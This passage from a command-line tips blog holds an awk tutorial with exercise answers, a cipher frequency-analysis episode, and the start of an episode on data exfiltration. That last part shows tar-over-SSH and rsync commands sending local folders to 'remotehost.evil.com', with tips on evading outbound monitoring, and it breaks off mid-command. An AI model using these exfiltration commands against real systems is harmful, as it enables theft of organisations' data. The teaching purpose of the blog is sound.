root 1434 1 0 Jan05 tty2 00:00:00 /sbin/getty -8 38400 tty2
root 1435 1 0 Jan05 tty3 00:00:00 /sbin/getty -8 38400 tty3
root 1438 1 0 Jan05 tty6 00:00:00 /sbin/getty -8 38400 tty6
root 1614 1523 0 Jan05 tty7 00:09:00 /usr/bin/X :0 -nr -verbose -auth ...
root 2082 1 0 Jan05 tty1 00:00:00 /sbin/getty -8 38400 tty1
root 5909 5864 0 13:42 pts/3 00:00:00 su -
root 5938 5909 0 13:42 pts/3 00:00:00 -su
root 5968 5938 0 13:47 pts/3 00:00:00 ps -ef
root 5969 5938 0 13:47 pts/3 00:00:00 awk $1 == "root" && $6 != "?" {print}</pre>
<p>We look for the keyword "root" in the first field, and anything that's not "?" in the sixth field. If both conditions are true, then we just print out the entire line with "{print}".</p>
<p>Actually, "{print}" is the default action for awk. So we could shorten our code just a bit:</p>
<pre># <b>ps -ef | awk '$1 == "root" && $6 != "?"'</b>
root 1422 1 0 Jan05 tty4 00:00:00 /sbin/getty -8 38400 tty4
root 1427 1 0 Jan05 tty5 00:00:00 /sbin/getty -8 38400 tty5
root 1434 1 0 Jan05 tty2 00:00:00 /sbin/getty -8 38400 tty2
...</pre>
<p><i>5. I mentioned that if you kill all the sshd processes while logged in via SSH, you'll be kicked out of the box (you killed your own sshd process) and unable to log back in (you've killed the master SSH daemon). Fix the awk so that it only prints out the PIDs of SSH daemon processes that (a) don't belong to you, and (b) aren't the master SSH daemon (HINT: The master SSH daemon is the one who's parent process ID is 1).</i></p>
<p>This one's a little tricky. Take a look at the sshd processes on my system:</p>
<pre># <b>ps -ef | grep sshd</b>
root 3394 1 0 2012 ? 00:00:00 /usr/sbin/sshd
root 13248 3394 0 Jan05 ? 00:00:00 sshd: hal [priv]
hal 13250 13248 0 Jan05 ? 00:00:02 sshd: hal@pts/0
root 25189 3394 0 08:27 ? 00:00:00 sshd: hal [priv]
hal 25191 25189 0 08:27 ? 00:00:00 sshd: hal@pts/1
root 25835 25807 0 15:33 pts/1 00:00:00 grep sshd</pre>
<p>For modern SSH daemons with "Privilege Separation" enabled, there are actually two sshd processes per login. There's a root-owned process marked as "sshd: <user> [priv]" and a process owned by the user marked as "sshd: <user>@<tty>". Life would be a whole lot easier if both processes were identified with the associated pty, but alas things didn't work out that way. So here's what I came up with:</p>
<pre># <b>ps -ef | awk '/sshd/ && !($3 == 1 || /sshd: hal[@ ]/) {print $2}'</b></pre>
<p>First we eliminate all processes except for the sshd processes with "/sshd/". We only want to print out the process IDs if it's not the master SSH daemon ("$3 == 1" to make sure the PPID isn't 1) or if it's not one of my SSH daemons ("/sshd: hal[@ ]/" means the string "sshd: hal" followed by either "@" or space). If everything looks good, then print the process ID of the process ("{print $2}").</p>
<p>Frankly, that's some pretty nasty awk. I'm not sure it's something I'd come up with easily on the spur of the moment.</p>
<p><i>6. Use awk to parse the output of the ifconfig command and print out the IP address of the local system.</i></p>
<p>Here's the output from ifconfig on my system:</p>
<pre>$ <b>ifconfig eth0</b>
eth0 Link encap:Ethernet HWaddr f0:de:f1:29:c7:18
inet addr:192.168.0.14 Bcast:192.168.0.255 Mask:255.255.255.0
inet6 addr: fe80::f2de:f1ff:fe29:c718/64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:1500 Metric:1
RX packets:7724312 errors:0 dropped:0 overruns:0 frame:0
TX packets:13553720 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:100
RX bytes:711630936 (711.6 MB) TX bytes:17529013051 (17.5 GB)
Memory:f2500000-f2520000 </pre>
<p>So this is a reasonable first approximation:</p>
<pre>$ <b>ifconfig eth0 | awk '/inet addr:/ {print $2}</b>'
addr:192.168.0.14</pre>
<p>The only problem is the "addr:" bit that's still hanging on. awk has a number of built-in functions, including substr() which can help us in this case:</p>
<pre>$ <b>ifconfig eth0 | awk '/inet addr:/ {print substr($2, 6)}</b>'
192.168.0.14</pre>
<p>substr() takes as arguments the string we're working on (field $2 in this case) and the place in the string where you want to start (for us, that's the sixth character so we skip over the "addr:"). There's an optional third argument which is the number of characters to grab. If you leave that off, then you just get the rest of the string, which is what we want here.</p>
<p>There are lots of other useful built-in functions in awk. Consult the manual page for further info.</p>
<p><i>7. Parse the output of "lsof -nPi" and output the unique process name, PID, user ID, and port combinations for all processes that are in "LISTEN" mode on ports on the system.</i></p>
<p>Let's take a look at the "lsof -nPi" output using awk to match only the lines for "LISTEN" mode:</p>
<pre># <b>lsof -nPi | awk '/LISTEN/'</b>
sshd 1216 root 3u IPv4 5264 0t0 TCP *:22 (LISTEN)
sshd 1216 root 4u IPv6 5266 0t0 TCP *:22 (LISTEN)
mysqld 1610 mysql 10u IPv4 6146 0t0 TCP 127.0.0.1:3306 (LISTEN)
vmware-au 1804 root 8u IPv4 6440 0t0 TCP *:902 (LISTEN)
cupsd 1879 root 6u IPv6 73057 0t0 TCP [::1]:631 (LISTEN)
cupsd 1879 root 8u IPv4 73058 0t0 TCP 127.0.0.1:631 (LISTEN)
apache2 1964 root 4u IPv4 7412 0t0 TCP *:80 (LISTEN)
apache2 1964 root 5u IPv4 7414 0t0 TCP *:443 (LISTEN)
apache2 4112 www-data 4u IPv4 7412 0t0 TCP *:80 (LISTEN)
apache2 4112 www-data 5u IPv4 7414 0t0 TCP *:443 (LISTEN)
apache2 4113 www-data 4u IPv4 7412 0t0 TCP *:80 (LISTEN)
apache2 4113 www-data 5u IPv4 7414 0t0 TCP *:443 (LISTEN)
skype 5133 hal 41u IPv4 104783 0t0 TCP *:6553 (LISTEN)</pre>
<p>Process name, PID, and process owner are fields 1-3 and the protocol and port are in fields 8-9. So that suggests the following awk:</p>
<pre># <b>lsof -nPi | awk '/LISTEN/ {print $1, $2, $3, $8, $9}'</b>
sshd 1216 root TCP *:22
sshd 1216 root TCP *:22
mysqld 1610 mysql TCP 127.0.0.1:3306
vmware-au 1804 root TCP *:902
cupsd 1879 root TCP [::1]:631
cupsd 1879 root TCP 127.0.0.1:631
apache2 1964 root TCP *:80
apache2 1964 root TCP *:443
apache2 4112 www-data TCP *:80
apache2 4112 www-data TCP *:443
apache2 4113 www-data TCP *:80
apache2 4113 www-data TCP *:443
skype 5133 hal TCP *:6553</pre>
<p>And if we want the unique entries, then just use "sort -u":</p>
<pre># <b>lsof -nPi | awk '/LISTEN/ {print $1, $2, $3, $8, $9}' | sort -u</b>
apache2 1964 root TCP *:443
apache2 1964 root TCP *:80
apache2 4112 www-data TCP *:443
apache2 4112 www-data TCP *:80
apache2 4113 www-data TCP *:443
apache2 4113 www-data TCP *:80
cupsd 1879 root TCP 127.0.0.1:631
cupsd 1879 root TCP [::1]:631
mysqld 1610 mysql TCP 127.0.0.1:3306
skype 5133 hal TCP *:6553
sshd 1216 root TCP *:22
vmware-au 1804 root TCP *:902</pre>
<p>Looking at the output, I'm not sure I care about all of the different apache2 instances. All I really want to know is which program is using port 80/tcp and 443/tcp. So perhaps we should just drop the PID and process owner:</p>
<pre># <b>lsof -nPi | awk '/LISTEN/ {print $1, $8, $9}' | sort -u</b>
apache2 TCP *:443
apache2 TCP *:80
cupsd TCP 127.0.0.1:631
cupsd TCP [::1]:631
mysqld TCP 127.0.0.1:3306
skype TCP *:6553
sshd TCP *:22
vmware-au TCP *:902</pre>
<p>In the above output you see cupsd bound to both the IPv4 and IPv6 loopback address. If you just care about the port numbers, we can flash a little sed to clean things up:</p>
<pre># <b>lsof -nPi | awk '/LISTEN/ {print $1, $8, $9}' | \
sed 's/[^ ]*:\([0-9]*\)/\1/' | sort -u -n -k3</b>
sshd TCP 22
apache2 TCP 80
apache2 TCP 443
cupsd TCP 631
vmware-au TCP 902
mysqld TCP 3306
skype TCP 6553</pre>
<p>In the sed expression I'm matching "some non-space characters followed by a colon" ("[^ ]*:") with some digits afterwards ("[0-9]*"). The digits are the port number, so we replace the matching expression with just the port number. Notice I used "\(...\)" around the "[0-9]*" to create a sub-expression that I can substitute on the right-hand side as "\1".</p>
<p>I've also modified the final "sort" command so that we get a numeric ("-n") sort on the port number ("-k3" for the third column). That makes the output look more natural to me.</p>
<p>I guess the moral of the story here is that awk is good for many things, but not necessarily for everything. Don't forget that there are other standard commands like sed and sort that can help produce the output that you're looking for.</p>
<p>Happy awk-ing everyone!</p>
Hal Pomeranzhttp://www.blogger.com/profile/16077688334830112926noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-4495164873520809992012-12-20T00:01:00.000-05:002012-12-20T00:01:13.991-05:00AWK-ward!<p>Yesterday I got an email friend who complained that "awk is still a mystery". Not being one to ignore a cry for help with the command line, I was motivated to write up a simple introduction to the basics of awk. But where to post it? I know! We've got this little blog we're not doing anything with at the moment (er, yeah, sorry about that folks-- life's been exciting for the Command Line Kung Fu team recently)...</p>
<h3>Lesson #1 -- It's a big loop!</h3>
<p>The first thing you need to understand about awk is that it reads and operates on each line of input one at a time. It's as if your awk code were sitting inside a big loop:</p>
<pre>for each line of input
# your code is here
end loop</pre>
<p>Your code goes in curly braces. So the simplest awk program is one that just prints out every line of a file:</p>
<pre><b>awk '{print}' /etc/passwd</b></pre>
<p>Nothing too exciting there. It's just a more complicated way to "<tt>cat /etc/passwd</tt>". Note that you generally want to enclose your awk code in single quotes like I did in the example above. This prevents special characters in the awk script from being interpolated by your shell before they even get to awk.</p>
<h3>Lesson #2 -- awk splits the line into fields</h3>
<p>One of the nice features of awk is that it automatically splits up each input line using whitespace as the delimiter. It doesn't matter how many spaces/tabs appear in between items on the line, each chunk of whitespace in its entirety is treated as a delimiter.</p>
<p>The whitespace-delimited fields are put into variables named <tt>$1</tt>, <tt>$2</tt>, and so on. Rather than just doing "<tt>print</tt>" as we did in the last example (which prints out the whole original line), you can print out any of the individual fields by number. For example, I can pull out the percentage used (field 5) and file system mount point (field 6) from df output:</p>
<pre>$ <b>df -h -t ext4 | awk '{print $5, $6}'</b>
Use% Mounted
58% /
24% /boot
42% /var
81% /home
89% /usr</pre>
<p>The comma in the "<tt>print $5, $6</tt>" expression causes awk to put a space between the two fields. If you did "<tt>print $5 $6</tt>", you'd get the two fields jammed up against each other with no space between them.</p>
<p>We could use a similar strategy to pull out just the usernames from ps (field 1):</p>
<pre>$ <b>ps -ef | awk '{print $1}'</b>
UID
root
root
root
...</pre>
<p>Not so interesting maybe, until you start combining it with other shell primitives:</p>
<pre>$ <b>ps -ef | awk '{print $1}' | sort | uniq -c | sort -nr</b>
188 root
70 hal
2 www-data
2 avahi
2 108
1 UID
1 syslog
1 rtkit
1 ntp
1 mysql
1 gdm
1 daemon
1 102</pre>
<p>Once we <tt>sort</tt> all the usernames in order, we can use "<tt>uniq -c</tt>" to count the number of processes running as each user. The final "<tt>sort -nr</tt>" gives us a descending ("<tt>-r</tt>") numeric ("<tt>-n</tt>") sort of the counts.</p>
<p>And this is fundamentally what's interesting about awk. It's great in the middle of a shell pipeline to be able to pull out individual fields that we're interested in processing further.</p>
<h3>Lesson #3 -- Being selective</h3>
<p>The other cool power of awk is that you can operate on selected lines of your input and ignore the rest. Any awk statement like "<tt>{print}</tt>" can optionally be preceded by a conditional operator. If a conditional operation exists, then your awk code will only operate on lines that match the expression.</p>
<p>The most common conditional operator is "/.../", which does pattern matching. For example, I could pull out the process IDs of all sshd processes like this:</p>
<pre>$ <b>ps -ef | awk '/sshd/ {print $2}'</b>
1366
10883</pre>
<p>That output is maybe more interesting when you use it with the kill command to kick people off of your system:</p>
<pre># <b>kill $(ps -ef | awk '/sshd/ {print $2}')</b></pre>
<p>Of course, you better be on the system console when you execute that command. Otherwise, you've just locked yourself out of the box!</p>
<p>While pattern matching tends to get used most frequently, awk has a full suite of comparison and logical operators. Returning to our df example, what if we wanted to print out only the file systems that were more than 80% full? Remember that the percent used is in field 5 and the file system mount point is field 6. If field 5 is more than 80, we want to print field 6:</p>
<pre>$ <b>df -h -t ext4 | awk '($5 > 80) {print $6}'</b>
Mounted
/home
/usr</pre>
<p>Whoops! The header line ends up getting dumped out too! We'd actually like to suppress that. I could use the tail command to strip that out, but I can also do it in our awk statement:</p>
<pre>$ <b>df -h -t ext4 | awk '$5 ~ /[0-9]/ && ($5 > 80) {print $6}'</b>
/home
/usr</pre>
<p>"<tt>$5 ~ /[0-9/</tt>" means do a pattern match specifically against field 5 and make sure it contains at least one digit. And then we check to make sure that field 5 is greater than 80. If both of those conditional expressions are true then we'll print out field 6. I made this more complicated that it needs to be just to show you that you can put together complicated logical expressions with "&&" (and "||" for the "or" relationship) and do pattern matching on specific fields if you want to.</p>
<h3>Lesson #4 -- You don't have to split on whitespace</h3>
<p>While splitting on whitespace is frequently useful, sometimes you're dealing with input that's broken up by some other character, like commas in a CSV file or colons in /etc/passwd. awk has a "<tt>-F</tt>" option that lets you specify a delimiter other than whitespace.</p>
<p>Here's a little trick to find out if you have any duplicate UIDs in your /etc/passwd file:</p>
<pre>$ <b>awk -F: '{print $3}' /etc/passwd | sort | uniq -d</b></pre>
<p>Here we're merely using awk to pull the UID field (field 3) from the colon-delimited ("<tt>-F:</tt>") /etc/passwd file. Then we <tt>sort</tt> the UIDs and use "<tt>uniq -d</tt>" to tell us if there are any duplicates. You want this command to return no output, indicating no duplicates were found.</p>
<h3>The Rest is Practice</h3>
<p>There's a lot more to awk, but this is more than enough to get you started with this useful little utility. But like any new skill, the best way to master awk is practice. So I'm going to give you a few exercises to work on. I'll post the answers on the blog in a week or so. Good luck!</p>
<ol>
<li>If you go back and look at the example where I counted the number of processes per user, you'll notice that the "UID" header from the ps command ends up being counted. How would you suppress this?<p /></li>
<li>Print out the usernames of all accounts with superuser privileges (UID is 0 in /etc/passwd).<p /></li>
<li>Print out the usernames of all accounts with null password fields in /etc/shadow.<p /></li>
<li>Print out process data for all commands being run as root by interactive users on the system (<i>HINT: If the command is interactive, then the "TTY" column will have something other than a "?" in it</i>)<p /></li>
<li>I mentioned that if you kill all the sshd processes while logged in via SSH, you'll be kicked out of the box (you killed your own sshd process) and unable to log back in (you've killed the master SSH daemon). Fix the awk so that it only prints out the PIDs of SSH daemon processes that (a) don't belong to you, and (b) aren't the master SSH daemon (<i>HINT: The master SSH daemon is the one who's parent process ID is 1</i>).<p /></li>
<li>Use awk to parse the output of the ifconfig command and print out the IP address of the local system.<p /></li>
<li>Parse the output of "<tt>lsof -nPi</tt>" and output the unique process name, PID, user ID, and port combinations for all processes that are in "LISTEN" mode on ports on the system.<p /></li>
</ol>
Hal Pomeranzhttp://www.blogger.com/profile/16077688334830112926noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-78473054928598278382012-01-24T05:00:00.003-05:002012-01-24T05:00:07.772-05:00Episode #165: What's the Frequency Kenneth?<font size="4">Tim helps Tim crack the code</font><br /><br />Long time reader, second time <s>caller</s> emailer writes in:<br /><br /><i>I've always been interested in mystery and codes (going back to 'Mystery Club' in 7th Grade), and today I discovered a cool show on History Channel called Decoded. They were talking about cryptography, specifically frequency analysis. I'm not an educator here but just to make sure we're on the same page: frequency analysis is one method of cracking a cipher by calculating how many times a certain cipher letter appears. From there, one can make a best guess on what the most frequent letters are.<br /><br />Ok anyway, I've been doing some fun cipher puzzles in my spare time and thought about how this could be code. Say we have a document with a cipher text (letters or numbers, separated by a comma or space). Is it possible to write a code to do a frequency analysis on the ciphertext and maybe even replace the cipher with the results? So if the most frequent cipher are 13 and 77, alter the document and replace 13 and 77, with the most common letters E and T, for example.</i><br /><br />This type of statistical analysis works better with longer ciphertext. So I created a substitution cipher that produced the following output. For the sake of simplicity, I didn't replace the punctuation and the spaces<br /><br /><i>"YETU HTPVI MOF UELCP MOF STC LCRVCU T DOOZ SLXEVW LK MOF ETRV CO VQXVWULIV LC UEV IFNAVSU? HTMNV MOF STC, NFU LU'I COU UVWWLNJM JLPVJM. LHTDLCV EOY MOF YOFJZ WVTSU LK MOFW ZOSUOW UOJZ MOF "MOF ETRV TXXVCZLSLULI, T ZLIVTIV UETU LI JLKV-UEWVTUVCLCD LK COU UWVTUVZ. YV ETRV T ULHV-UVIUVZ SFWV UETU SFWVI 99% OK TJJ XTULVCUI YLUE CO COULSVTNJV ILZV-VKKVSUI, NFU L'H COU DOLCD UO DLRV MOF UETU: L'H DOLCD UO DLRV MOF T CVY VQXVWLHVCUTJ UWVTUHVCU HM SOFILC ZWVTHVZ FX JTIU YVVP. CO, HM SOFILC ETI CO HVZLSTJ UWTLCLCD. CO, L ETRV CO VRLZVCSV UETU UEV CVY UWVTUHVCU YLJJ YOWP, TCZ LU'I CVRVW NVVC UVIUVZ OW TCTJMBVZ LC ZVXUE -- NFU L'H DOLCD UO DLRV LU UO MOF TCMYTM NVSTFIV HM SOFILC UELCPI LU LI DOOZ IUFKK." MOF'Z KLCZ TCOUEVW ZOSUOW, L EOXV. WTULOCTJ XVOXJV JVTRV HVZLSTJ STWV UO UEV HVZLSTJ VQXVWUI. UEV HVZLSTJ VQXVWUI ETRV T HFSE NVUUVW UWTSP WVSOWZ UETC UEV GFTSPI."<br />-- ZTRLZ YTDCVW XEZ, ISL.SWMXU, 19UE OSU 02.</i><br /><br />We can read a file using the command Get-Content (alias cat, gc, type) as we usually do, but let's use a <a href="http://technet.microsoft.com/en-us/library/ee692792.aspx">Here-String</a> instead.<br /><br /><pre>PS C:\> <b>$ciphertext = @"<br />"YETU HTPVI MOF UELCP MOF STC LCRVCU T DOOZ SLXEVW LK MOF ETRV CO VQXVWULIV LC UEV IFNAVSU?<br />HTMNV MOF STC, NFU LU'I COU UVWWLNJM JLPVJM. LHTDLCV EOY MOF YOFJZ WVTSU LK MOFW ZOSUOW UOJZ<br />MOF "MOF ETRV TXXVCZLSLULI, T ZLIVTIV UETU LI JLKV-UEWVTUVCLCD LK COU UWVTUVZ. YV ETRV T ULHV-<br />UVIUVZ SFWV UETU SFWVI 99% OK TJJ XTULVCUI YLUE CO COULSVTNJV ILZV-VKKVSUI, NFU L'H COU DOLCD<br />UO DLRV MOF UETU: L'H DOLCD UO DLRV MOF T CVY VQXVWLHVCUTJ UWVTUHVCU HM SOFILC ZWVTHVZ FX JTIU<br />YVVP. CO, HM SOFILC ETI CO HVZLSTJ UWTLCLCD. CO, L ETRV CO VRLZVCSV UETU UEV CVY UWVTUHVCU<br />YLJJ YOWP, TCZ LU'I CVRVW NVVC UVIUVZ OW TCTJMBVZ LC ZVXUE -- NFU L'H DOLCD UO DLRV LU UO MOF<br />TCMYTM NVSTFIV HM SOFILC UELCPI LU LI DOOZ IUFKK." MOF'Z KLCZ TCOUEVW ZOSUOW, L EOXV. WTULOCTJ<br />XVOXJV JVTRV HVZLSTJ STWV UO UEV HVZLSTJ VQXVWUI. UEV HVZLSTJ VQXVWUI ETRV T HFSE NVUUVW UWTSP<br />WVSOWZ UETC UEV GFTSPI."<br />-- ZTRLZ YTDCVW XEZ, ISL.SWMXU, 19UE OSU 02.<br />"@</b></pre><br /><br />The we start a Here-String with @" and close it with the matching "@ pair. Now we have a variable $cipher that contains our text. Next, let's get the frequency of each character used in our ciphertext.<br /><br /><pre>PS C:\> <b>($ciphertext | Select-String -AllMatches "[A-Z]").matches | <br />group value -noel | sort count -desc</b><br /><br />Count Name<br />----- ----<br /> 90 V<br /> 76 U<br /> 58 L<br /> 55 T<br /> 53 O<br /> 47 C<br /> 31 W<br /> 29 E<br /> 29 S<br /> 28 Z<br /> 28 I<br /> 27 F<br /> 22 M<br /> 21 J<br /> 19 H<br /> 15 D<br /> 15 X<br /> 13 R<br /> 12 Y<br /> 10 N<br /> 10 K<br /> 8 P<br /> 4 Q<br /> 1 G<br /> 1 B<br /> 1 A</pre><br /><br />We start by piping the ciphertext into the Select-String cmdlet where we use the regular expression "[A-Z]" to select each alphabet character individually. The AllMatches switch is used to return all the characters instead of just the first one found. The results are passed down the pipeline into the Group-Object cmdlet (alias group) to give us the count. The NoElement switch (shortened to noel) is used to discard the original objects as we don't need them in the output.<br /><br />Let's save the letters into a variable so we can use it later for substitution.<br /><br /><pre>PS C:\> <b>$cipherletters = ($ciphertext | Select-String -AllMatches "[A-Z]").matches | <br />group value -noel | sort count -desc | % { $_.Name }</b><br />PS C:\> <b>$cipherletters</b><br />V<br />U<br />L<br />T<br />O<br />C<br />W<br />...</pre><br /><br />We used the same command as above, except with the added ForEach-Object cmdlet (alias %) where the value of the Name property is output and stored in our variable.<br /><br />Now that we have our letters sorted by their frequency we need to compare them with the statistic frequency of characters in the English language.<br /><br /><pre>e 12.702%<br />t 9.056%<br />a 8.167%<br />o 7.507%<br />i 6.966%<br />n 6.749%<br />s 6.327%<br />h 6.094%<br />r 5.987%<br />d 4.253%<br />l 4.025%<br />c 2.782%<br />u 2.758%<br />m 2.406%<br />w 2.360%<br />f 2.228%<br />g 2.015%<br />y 1.974%<br />p 1.929%<br />b 1.492%<br />v 0.978%<br />k 0.772%<br />j 0.153%<br />x 0.150%<br />q 0.095%<br />z 0.074%</pre><br /><br />We aren't going to worry about the percentages and we'll just get the letters in order. Later we'll map the two data sets together for our replacement.<br /><br /><pre>PS C:\> <b>$freqletters = "e","t","a","o","i","n","s","h","r","d","l","c","u",<br />"m","w","f","g","y","p","b","v","k","j","x","q","z"</b></pre><br /><br />Now for a quick substitution.<br /><br /><pre>PS C:\> <b>$replacedtext = $ciphertext</b><br />PS C:\> <b>for ($i=0; $i -lt 26; $i++) { $replacedtext = $replacedtext -creplace <br />$cipherletters[$i], $freqletters[$i] }</b></pre><br /><br />We use a For loop to count from 0 to 25 where $i is used as the iterator. The iterator is used to match the Nth item in each array (remember, base zero) and use the mapped characters for replacement. The CReplace operator is used for a case sensitive replacement as our cipher letters are upper case and our clear text letters are lower case. This is done to prevent double substitution.<br /><br />Now to see what our output looks like.<br /><br /><pre>PS C:\> <b>$replacedtext</b><br />"phot wokel uic thank uic ron anyent o fiid raghes av uic hoye ni ejgestale an the lcbzert?<br />woube uic ron, bct at'l nit tessabmu makemu. awofane hip uic picmd seort av uics dirtis timd<br />uic "uic hoye oggendaratal, o daleole thot al mave-thseotenanf av nit tseoted. pe hoye o tawe-<br />telted rcse thot rcsel 99% iv omm gotaentl path ni nitareobme lade-evvertl, bct a'w nit fianf<br />ti faye uic thot: a'w fianf ti faye uic o nep ejgesawentom tseotwent wu riclan dseowed cg molt<br />peek. ni, wu riclan hol ni wedarom tsoananf. ni, a hoye ni eyadenre thot the nep tseotwent<br />pamm pisk, ond at'l neyes been telted is onomuqed an degth -- bct a'w fianf ti faye at ti uic<br />onupou berocle wu riclan thankl at al fiid ltcvv." uic'd vand onithes dirtis, a hige. sotainom<br />geigme meoye wedarom rose ti the wedarom ejgestl. the wedarom ejgestl hoye o wcrh bettes tsork<br />serisd thon the xcorkl."<br />-- doyad pofnes ghd, lra.rsugt, 19th irt 02.</pre><br /><br />Well, that isn't great. It looks like the only words successfully decryted are "the" and "been". There are a few more techniques for cryptanalysis of this type of cipher<br /><br />With a bit of tweeking and adjustment of the frequency letters we can end up with the following.<br /><br /><pre>"What makes you think you can invent a good cipher if you have no expertise in<br />the subject? Maybe you can, but it's not terribly likely. Imagine how you would react<br />if your doctor told you "You have appendicitis, a disease that is life-threatening if<br />not treated. We have a time-tested cure that cures 99% of all patients with no<br />noticeable side-effects, but I'm not going to give you that: I'm going to give you a<br />new experimental treatment my cousin dreamed up last week. No, my cousin has no<br />medical training. No, I have no evidence that the new treatment will work, and it's<br />never been tested or analyzed in depth -- but I'm going to give it to you anyway<br />because my cousin thinks it is good stuff." You'd find another doctor, I hope.<br />Rational people leave medical care to the medical experts. The medical experts have a<br />much better track record than the quacks."<br />-- David Wagner PhD, sci.crypt, 19th Oct 02.</pre><br /><br />Let's see if Hal is a better cracker than I am.<br /><br /><font size="4">Hal gets cracking</font><br /><br />Gah. I was always terrible at these puzzles as a child. Maybe my shell can help!<br /><br />Getting the frequency counts is just a matter of piling up a bunch of shell primatives:<br /><br /><pre>$ <b>sed 's/[^A-Z]//g; s/\(.\)/\1\n/g' cyphertext | grep '[A-Z]' | <br /> sort | uniq -c | sort -nr</b><br /> 90 V<br /> 76 U<br /> 58 L<br /> 55 T<br /> 53 O<br />...</pre><br />Notice there's two substitutions in the sed program. The first eliminates anything that's not an uppercase letter. The second puts a newline after each letter in the remaining text. So what I get is each letter from the input text on a line by itself.<br /><br />Unfortunately, sed doesn't give me a good way to deal with the newlines in the original message. So after the last letter on each line I'm going to get the newline I add with sed, followed by the newline from the original input file. This gives me blank lines in the sed output and I don't want them! The next grep in the pipeline takes care of only giving me the lines that have letters on them.<br /><br />From there I sort my output and then use "uniq -c" to count the occurrences of each letter. The final "sort -nr" gives me the counts in descending order.<br /><br />Now let's add a little awk:<br /><br /><pre>$ <b>sed 's/[^A-Z]//g; s/\(.\)/\1\n/g' cyphertext | grep '[A-Z]' | <br /> sort | uniq -c | sort -nr | awk 'BEGIN {ORS = ""} {print $2}'</b><br />VULTOCWSEZIFMJHXDRYNKPQGBA</pre><br />The awk I've added prints out the letters from my frequency chart. Normally awk would print them out one per line, just like they are in the input. But in the BEGIN block I'm telling awk to use the null string as the "output record separator" (ORS) instead of the usual newline. That gives me the letters all on one line without any whitespace.<br /><br />Why is this useful? Because now I can do this:<br /><br /><pre>$ <b>cat cyphertext | tr $(sed 's/[^A-Z]//g; s/\(.\)/\1\n/g' cyphertext | grep '[A-Z]' |<br /> sort | uniq -c | sort -nr |awk 'BEGIN {ORS = ""} {print $2}') \<br /> etaoinshrdlcumwfgypbvkjxqz</b><br />"prot wokel uic trank uic hon anyent o giid hafres av uic roye ni ejfestale an tre <br />lcbzeht? woube uic hon, bct at'l nit tessabmu makemu. awogane rip uic picmd seoht av <br />uics dihtis timd uic "uic roye offendahatal, o daleole trot al mave-trseotenang av nit <br />tseoted. pe roye o tawe-telted hcse trot hcsel 99% iv omm fotaentl patr ni nitaheobme <br />lade-evvehtl, bct a'w nit giang ti gaye uic trot: a'w giang ti gaye uic o nep <br />ejfesawentom tseotwent wu hiclan dseowed cf molt peek. ni, wu hiclan rol ni wedahom <br />tsoanang. ni, a roye ni eyadenhe trot tre nep tseotwent pamm pisk, ond at'l neyes been <br />telted is onomuqed an deftr -- bct a'w giang ti gaye at ti uic onupou behocle wu <br />hiclan trankl at al giid ltcvv." uic'd vand onitres dihtis, a rife. sotainom feifme <br />meoye wedahom hose ti tre wedahom ejfestl. tre wedahom ejfestl roye o wchr bettes <br />tsohk sehisd tron tre xcohkl."<br />-- doyad pognes frd, lha.hsuft, 19tr iht 02.</pre><br />What I did there was take my pipeline and put it inside "$(...)" so that the output of the pipeline becomes the first argument to my tr command. The letters in the list produced by my pipeline get replaced in with the letters in the standard English frequency chart. <br /><br />Unfortunately, as Tim found out, the standard frequency chart doesn't work. Actually, my results are different from Tim's first attempt. I think he was cheating some where to get his "the"'s decoded correctly!<br /><br />If at first you don't succeed, try, try again. We could just keep trying different permutations of our frequency list:<br /><br /><pre>$ <b>freqlist=$(sed 's/[^A-Z]//g; s/\(.\)/\1\n/g' cyphertext | grep '[A-Z]' | <br /> sort | uniq -c | sort -nr |awk 'BEGIN {ORS = ""} {print $2}')</b><br />$ <b>permute etaoinshrdlcumwfgypbvkjxqz | <br /> while read replace; do <br /> misspell=$(cat cyphertext | tr $freqlist $replace | spell | wc -l); <br /> [[ $misspell -lt 10 ]] && echo $replace && break; <br /> (( $((++c)) % 1000 )) || echo -n . 1>&2; <br /> done</b></pre><br />First I assign the frequency analysis of my cyphertext to a variable so I don't have to keep recomputing it.<br /><br />Next I cheat a whole lot by using a script I wrote a long time ago called permute that produces a list of all possible permutations of its input. My while loop reads those permutations one at a time and tries them via tr. The output of tr goes into spell which will give a list of the misspelled words. I count the number of misspelled words with "wc -l". If the number of misspellings is small, then I've probably found the right replacement list. In that case I'll output the $replace list that seems to work and terminate the loop with break.<br /><br />The last line of the loop is the trick I showed you in <a href="http://blog.commandlinekungfu.com/2011/11/episode-163-pilgrims-progress.html" target="_blank">Episode #163</a> for showing progress output in a loop. Every 1000 permutations tried, we'll output a dot just so you know that things are working.<br /><br />Be prepared for a lot of dots, however. Unfortunately there are 26! = 4E26 possible permutations, which might take you-- or your computer-- more than a little while to test. Brute force really isn't a practical solution for this problem. But I wanted to show you that there is a solution that you could implement in shell (modulo my dirty little permute script), even if it is a lousy one.Tim Medin @timmedinhttp://www.blogger.com/profile/15437442280236308195noreply@blogger.comtag:blogger.com,1999:blog-6849015258802781139.post-66323656227927714992012-01-10T05:00:00.008-05:002012-01-22T16:32:49.603-05:00Episode #164: Exfiltration Nation<font size="4">Hal pillages the mailbox</font><br /><br />Happy 2012 everybody!<br /><br />In the days and weeks to come, the industry press will no doubt be filled with stories of all the high-profile companies whose data was "liberated" during the past couple of weeks. It may be a holiday for most of us, but it's the perfect time for the black hats to be putting in a little overtime with their data exfiltration efforts.<br /><br />So it was somehow appropriate that we found that loyal reader Greg Hetrick had emailed us this tasty little bit of command-line exfiltration fu:<br /><br /><pre>tar zcf - localfolder | ssh remotehost.evil.com "cd /some/path/name; tar zxpf -"</pre><br />Ah, yes, the old "tar over SSH" gambit. The nice thing here is that no local file gets written, but you end up with a perfect directory copy over on "remotehost.evil.com" in a target directory of your choosing.<br /><br />If SSH is your preferred outbound channel, and the local system has rsync installed, you could accomplish the same mission with fewer keystrokes:<br /><br /><pre>rsync -aH localhost remotehost.evil.com:/some/path/name</pre><br />If outbound port 22 is being blocked, you could use "ssh -p" or "rsync --port" to connect to the remote server on an alternate port number. Ports 80 and 443 are often open in the outbound direction when other ports are not.<br /><br />But what if outbound SSH connections-- especially SSH traffic on unexpected port numbers-- are being monitored by your victim? Greg's email got me thinking about other stealthy ways to move data out of an organization using only command-line primitives.<br /><br />My first thought was everybody's favorite exfiltration protocol: HTTPS. And nothing makes moving data over HTTPS easier than curl:<br /><br /><pre>tar zcf - localfolder | 